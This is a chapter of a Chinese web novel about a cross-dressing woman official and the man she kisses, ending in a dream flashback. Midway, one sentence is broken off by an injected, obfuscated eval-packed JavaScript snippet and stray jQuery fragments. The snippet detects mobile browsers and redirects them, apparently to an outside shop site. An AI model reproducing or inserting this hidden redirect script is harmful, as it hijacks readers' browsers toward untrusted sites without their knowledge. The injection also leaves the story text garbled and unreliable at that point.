39. 浅尝辄止

作品:《她做奸佞那些年

    啊?她听到了什么?


    “若我说我想吻你,你可愿意?”


    钱行之的脑中一片空白。


    原本还沉迷在温贵嫔的八卦之中,突然被问到这叫人脸红心跳的问题,钱行之无所适从。


    要答应他吗?钱行之下意识抬头看他,而后又立马躲开他的眼神。


    不能瞧陆瑜这双眼睛。


    他以什么样的身份问这句话?她又要以什么样的身份去接受?行不通,他与她之间隔着太多的谎话,言语调戏是钱行之能放纵的极限。


    “怎么不说话?”陆瑜轻声耳语,“既如此,我便当你是愿的。”


    他少一用力便将她彻底带入怀中,呼吸几近缠在一起,钱行之艰难开口:“等等……”


    陆瑜果真停了下来,半隐在黑暗中,钱行之隐约瞧得出他眼底汪着的笑意:“嗯?”


    钱行之咽了咽口水:“陆瑜,你究竟是如何想的?”


    有些事情借着月色可以一时冲动,可只要稍稍冷静一些,当下的氛围便立刻变了。


    他在做什么?陆瑜觉得搂住钱行之的双手出了冷汗。钱行之不清楚自己的处境,难不成他还不清楚么?他不应当趁人之危,更不应当就这样无名无分地白占她的便宜,他早就不知不觉被钱行之牵引得越线太多——


    他爱她吗?


    这个问题不可抑制地在他的脑海中浮现。过去种种大可说是钱行之不知死活地撩拨,可他并不会对一个男人动心,自然不必面对这难题,如今局面一转,他比谁都更清楚钱行之的底细,在此之下他贸然靠近她,终于躲不开情/爱二字。


    陆瑜松开手。


    他不知道自己爱不爱钱行之。甚至,他都未想过这辈子有一天会面对这个问题。


    的确,钱行之比他见过的任何一个女子都要特别,可单是特别无法成为爱的支点。


    见陆瑜退缩,钱行之道:“你怕了?”


    开什么玩笑,他哪里会怕这种事情?陆瑜无奈,该怕的明明是钱行之自己,总是深更半夜不知死活爬上男人的床榻,还要说些不得了的话,当真是不知天高地厚。


    他冷哼一声:“你还是担心担心自己吧。”


    钱行之扬了扬眉:“我有什么可担心的?”


    陆瑜有些哭笑不得:“你……”


    未说完的话被钱行之吞进肚子里。


    眼前是钱行之微微颤动的眼睫,陆瑜的心跳都漏了一拍。


    一个人生当中全然未体验过的新奇情节,这感觉不坏,可来得太突然,陆瑜呆滞地感受着钱行之的动作。


    她怎么还挺熟练??


    钱行之将手伸进陆瑜的发间,身下的人终于有了动静,磕磕绊绊回应着她,慌张地连手都不知如何安放,干脆做着不知意味的投降动作。


    陆瑜连呼吸都忘了,在天旋地转憋晕过去之前,他终于一咬牙拉开了很是沉浸的钱行之。


    青丝散乱、面颊绯红、眸光潋滟,嗯,跟钱行之想看的差不多。


    钱行之也不知道如今对陆瑜究竟是什么感情。爱吗?谈不上吧,她与他之间或许隔着几近千百年的思想代沟,更不用说她还藏着一堆不曾言明的秘密,这感情还未严肃到谈及“爱”这个字眼。


    说不动心那也是假的。一位郎艳独绝、智谋无双、身家过亿还时常对她体贴入微的男人,还纯情得日日被撩红了脸,钱行之若能心如止水、波澜不惊,大约是彻底斩断红尘了。


    何况,这是陆瑜率先提出来的,她只是一时没忍住实践了一下:“哥哥,感觉如何?”


    “你、你、你——”陆瑜用手掩住嘴巴,瞳孔地震,“你做什么?”


    “吻你呀,”钱行之此刻心情出奇得好,“不是哥哥先提的?”


    她当真对他用情至深,居然这般主动贴近,叫他如何担待得住?她这般轰轰烈烈不问后果,他却得替她安置好后路。他得娶她,要将能拱手相赠的都安排好,只可惜不能请母亲见证……


    不,不对。她如今身在朝堂虽艰险重重,却比困在宅院自由自在得多。陆瑜见多了娘亲自怨自艾的哀愁模样,若她有钱行之半分魄力,或许不必落到那样的结局。


    如此一来他便不能娶她,或者,即便是娶她也不能昭告天下,否则那群倚老卖老的乌合之众不得日日巴望着将钱行之踩下去?更不必谈君安彻那老贼,也许一纸诏书将钱行之送上刑场都是轻的。


    可他既然要珍重待她,不能昭告天下岂不是少了些情趣?要不然,算作是她娶了他,钱行之在前头为官做宰,他急流勇退,为她打点后方?


    倒也不是不可。


    可这或许也得等自己的计划顺利走完……等等,他还得报仇。钱行之偏偏又是监正,往后他要如何保全她?


    等等,不是方才刚刚想通自己并未到爱她的程度吗?这是在想些什么?


    “你,你当真想清楚了?”陆瑜仍旧微微喘气,又要消化方才发生的事,又要将脑中的杂乱心思理清,实在是没这般忙过。


    “什么?”钱行之也在回味,只不过更多的是欣赏陆瑜为了她意乱情迷的模样。


    陆瑜重又抱住她,似乎为了找回自己的主动权,他将她拥得很紧:“你放心,我一定会为你打点好后路……”


    “什么后路?”钱行之任由他抱着,逐渐意识到事情的走向有些偏离她的预期。


    “你我现下虽不能明告天下,可我向你保证,我一定能叫世人接受你我这样的存在……”


    一个男人围着自己为官做宰的妻子转,想来会在南盛国掀起骇人听闻的风浪。


    陆瑜忘了,钱行之并不知晓自己早就露出马脚,这话到了她的耳中又是另一个意味。


    陆瑜无可救药地爱上了她,还要将这段断袖佳话宣扬得人尽皆知。


    大事不妙!钱行之惊恐地瞪大双眼:“不不不,这太冒险了。”


    岂止是声名扫地,还要连带着陆氏也完蛋。早知一个吻就能让陆瑜失去理智成这样,她应当更加克制一些。


    后悔、愧疚与自责追上了钱行之,她又道:“我……我还没想着那么长远的事,眼前还有这样多的问题,我们过后再细细考量,可好?”


    她没有想那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913457|189010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么长远的事?陆瑜怔愣住。她没有想那样长远的事就这样顶着男人的身份不管不顾地吻他?钱行之这是什么反应?她后悔了?难不成是不想与梁鹭鸣和离?难不成她对梁鹭鸣也有感情?


    “你不想与我过?”陆瑜有些难以企口,“难不成你要与梁鹭鸣过一辈子?”


    “不是不是,”钱行之头昏脑涨连连摆手,“我不是这个意思,我是说这事咱们回头再细说。”


    “你……你就不表示些什么?”陆瑜总觉得自己仿佛在向钱行之索求爱意。


    亲也亲了,摸也摸了,就不讲些该讲的甜言蜜语?


    “嗯……”钱行之绞尽脑汁,“哥哥你亲起来口感挺不错的……?”


    这都什么乱七八糟的!陆瑜皱眉瞧着怀里心猿意马的女人:“钱行之,你是不是不想认?”


    她该不会将他吃干抹净然后就拍拍屁股走人,绝口不提此事了吧?!


    钱行之人还在陆瑜怀里,立马给他顺毛:“怎么可能!我岂是那种小人?”


    并没有想象中的腻歪,一时无话,气氛居然尴尬起来。


    要不然干脆坦白她是个女的,长痛不如短痛?


    “其实……”钱行之弱弱开口。


    “别说。”陆瑜打断她。


    其实什么?其实她只是一时冲动,其实她并未动心,其实她并不打算考虑将来?


    陆瑜忽然畏惧听到不愿听的答案,此刻她就在他怀中,他们不必那样急着谈将来,贪恋当下也并不是坏事。


    他比他想象中要患得患失。


    钱行之本下定了决心,骤然被打断便难开口,索性在陆瑜身前装死。


    怀中的人半晌都没动静,陆瑜闷声道:“钱行之,我真拿你没办法……”


    低头一瞧,才发觉胡闹了这么久,她竟没心没肺睡着了。


    陆瑜气笑了。而后认命一般将她安置到榻上,替她掖好被角。


    在起身去厢房睡和就地躺下之间犹豫半晌,陆瑜下定决心一般躺到了钱行之身侧。


    只是同床共枕罢了,先前又不是没有过。何况天明他便早早起身去别屋,只留宿这一时半刻。


    怎么觉得自己莫名像从前母亲的状态?


    钱行之倒并非当真没心没肺到倒头便睡,时隔多日她出乎意料地又梦魇了。


    *


    眼前的场景模模糊糊,颜照霜似乎年岁尚小。


    远远似乎听见阿娘在与谁争执。


    “你说呀!你是何时与他碰上面的?!”


    “……”


    “好好好,你觉得自己长大了,翅膀硬了是不是?我这么些年辛苦拉扯你,你便是这样做的?”


    “阿娘!我不愿留在南川!”


    “……你说什么?”


    “留在这里我永远也没出路,还不如……”


    “还不如跟着他回盛京是不是?!你走,你走罢!”


    “阿娘……”


    眼前事物几经变换,阿娘的身影又近在眼前。


    颜照霜似乎还未到能将话说利索的年龄:“阿娘,哥哥呢?”